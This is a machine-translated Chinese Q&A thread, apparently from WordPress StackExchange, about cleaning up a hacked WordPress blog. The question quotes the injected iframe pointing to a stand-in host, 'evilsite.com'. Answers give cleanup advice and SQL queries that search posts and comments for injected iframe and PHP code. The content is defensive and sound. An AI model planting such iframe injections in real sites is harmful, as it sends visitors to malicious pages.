問題描述

我的 for-fun WordPress 部落格在 http://fakeplasticrock.com(執行 WordPress 3.1.1) 遭到駭客入侵 – 它在每個頁面上都顯示了一個<iframe>,如下所示:

<iframe src="http://evilsite.com/go/1"></iframe>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

我做了如下

  1. 透過 built-in WordPress 升級系統升級到 3.1.3
  2. 安裝了 Exploit Scanner(對異常檔案有很多關鍵警告) 和 AntiVirus(這顯示所有綠色和乾淨,所以我解除安裝並執行後刪除它)
  3. 更改 MySQL 密碼
  4. 更改了所有 WordPress 使用者密碼。
  5. 透過 FTP 連線並下載整個檔案系統 (不大,這是一個 WordPress-only Linux 共享主機)
  6. 將檔案系統與 WordPress 3.1.3 的官方 ZIP 相關聯,並刪除或覆蓋任何不匹配的內容。

我相當肯定

  • 磁碟上的所有檔案都是官方 WordPress 3.1.3 檔案
  • 磁碟上沒有我的一個/theme,Exploit Scanner 外掛 (我剛下載的),/uploads 資料夾和少量其他預期檔案中的”extra” 檔案。我的其他外掛,wp-recaptcha,匹配當前官方下載的版本。
  • 我也檢查了.htaccess 檔案,沒有什麼看錯了

我沒有觸控資料庫,但是我很難想到,如果沒有特殊的 PHP 程式碼使資料庫工作,資料庫中的任何內容都可能是惡意的?

我的 WordPress 部落格現在好了,hack-free 現在 (我想),但還有什麼我應該檢查的嗎?

最佳解決方案

你確定了利用向量嗎?如果沒有,你可能會將自己開放給未來的漏洞。

其他要考慮的事情:

  1. 更改 WordPress 管理員使用者密碼 – 完成
  2. 更改主機帳戶使用者密碼
  3. 更改 FTP 密碼
  4. 更改 MySQL 資料庫使用者密碼 – 完成
  5. 更改 db 表字首
  6. 更新您的 wp-config nonces/salt
  7. 檢查你的 directory/file permissions
  8. 阻止 directory-browsing 訪問,透過.htaccess
  9. 透過 Hardening WordPress Codex 條目中的所有內容
  10. 透過 FAQ My Site Was Hacked Codex 條目中的所有內容

次佳解決方案

看看谷歌瀏覽器的 「安全瀏覽」 訊息,你會得到最近似乎正在進行的 「.cc iFrame 駭客」 。我認為 3.1.3 會解決這個問題,但是檢查你的 index.php 檔案在根目錄下,如果你的站點,那是它不斷擊中我,直到我得到一切更新和密碼更改。

有一些非常棘手的東西,人們可以透過釋出和評論注射來做。您可以對您的資料庫執行以下查詢,以幫助找到其中一些我釋出的其餘的”tracking” here

SELECT * FROM wp_posts WHERE post_content LIKE '%<iframe%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%<noscript%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%display:%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%<?%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%<?php%'
SELECT * FROM wp_comments WHERE comment_content LIKE '%<iframe%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%<noscript%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%display:%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%<?%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%<?php%'

希望這可以幫助!

第三種解決方案

資料庫也可以包含惡意程式碼:隱藏的使用者帳戶或在某處列印未轉義的值。另外,檢查您的上傳目錄中不屬於那裡的檔案。

哦,試著弄清楚攻擊者是如何找到他們進入你的網站的。在共享帳戶上,通常是整個伺服器。伺服器上的 Check the other sites 也被駭客入侵部落格或其他網頁。閱讀你的 FTP 日誌。如果你不知道如何發生,你不能阻止下一個休息。

第四種方案

對不起,聽到你被黑了 – 看起來你已經做了一個很好的恢復工作,雖然!

你的檔案系統聽起來很棒,我不會說這裡有什麼可以做的。

我會認為,如果發現任何指令碼,iframe,PHP(儘管只有危險的 eval’d) 或資料庫中的其他不尋常的程式碼,Exploit Scanner 將會發出警告。

我不知道是否檢查除帖子以外的表格評論,可能值得一試,看看/wp-admin/options.php,看看是否有什麼奇怪的。

我還會在 MySQL 客戶端中檢查您的使用者表 (使用者可能位於資料庫中,但在管理員中不可見) 。

第五種方案

檢查 Google 網站管理員工具有兩件事情:

  • 驗證您的網站是否沒有被標記為被盜用,並請求重新稽核
  • 檢查您的網站為 Googlebot,並確認沒有任何垃圾郵件被插入只有 Googlebot 可見 – 例如這是 WP 製藥駭客

此外,我將 re-implement 的主題,或非常仔細地檢查。幾行 PHP 可以重新定義核心 PHP 函式,以便從資料庫中提取惡意程式碼,特別是 wp_options 鍵/值儲存表

第六種方案

透過 phpmyadmin 為”iframe” 搜尋資料庫,或轉儲資料庫並搜尋文字。

並檢查使用者表中的隱形使用者; 我已經看過在 WP Admin>> Users 中沒有顯示的表中的使用者。

 Clean Options « WordPress Plugins 將顯示舊資料庫中可能存在的易受攻擊的外掛的垃圾。

您的主題也缺少<head> 標籤,所以我會檢查,以防萬一你編輯主題刪除不良連結。

和通常的:和 How to find a backdoor in a hacked WordPressHardening WordPress « WordPress Codex

第七種方案

「還有什麼我應該檢查的?」 你需要檢查你的過程,並找出你被駭客入侵 (幾乎肯定是因為你沒有及時補丁或正確補丁),並且也解決這個問題,而不僅僅是症狀。

第八種方案

對我來說,曾經發生過一次,透過 mediatemple 的洩漏。我必須編寫一個外掛來檢查注入連結的資料庫。你可以抓住它 here as a github gist

這是非常使用者友好的,有幾個步驟,完成後提供反饋和 re-checks 您的資料庫。

祝你好運!

第九種方案

我有一個非常相似的駭客,我不得不解決我的一個客戶端網站。

檔案系統中有惡意指令碼 (php base64_decode stuff) 。但是,資料庫’posts’& ‘comments’ 表已被破壞,並且 iframe 程式碼也分散在該資料中。

我至少在資料庫中執行幾個搜尋,只是為了安全。 🙂

第十種方案

檢查你的外掛!今年到目前為止,已經有來自.org 外掛的 60 個漏洞釋出,我懷疑真正的數字要高得多,因為沒有人真的在做這個全職。

你列出你只有一個外掛,它有一個安全漏洞 (不知道它是多久,它可能不是向量) 。

wp-recaptcha-plugin
The exploit was released: 2011-03-18
Exploit version: 2.9.8

作者表示他重新編寫了 3.0 版,但沒有提到安全補丁。

 http://www.wpsecure.net/2011/03/wp-recaptcha-plugin/

更改日誌:http://wordpress.org/extend/plugins/wp-recaptcha/changelog/

參考文獻

注:本文內容整合自 Google/Baidu/Bing 輔助翻譯的英文資料結果。如果您對結果不滿意,可以加入我們改善翻譯效果:薇曉朵技術論壇。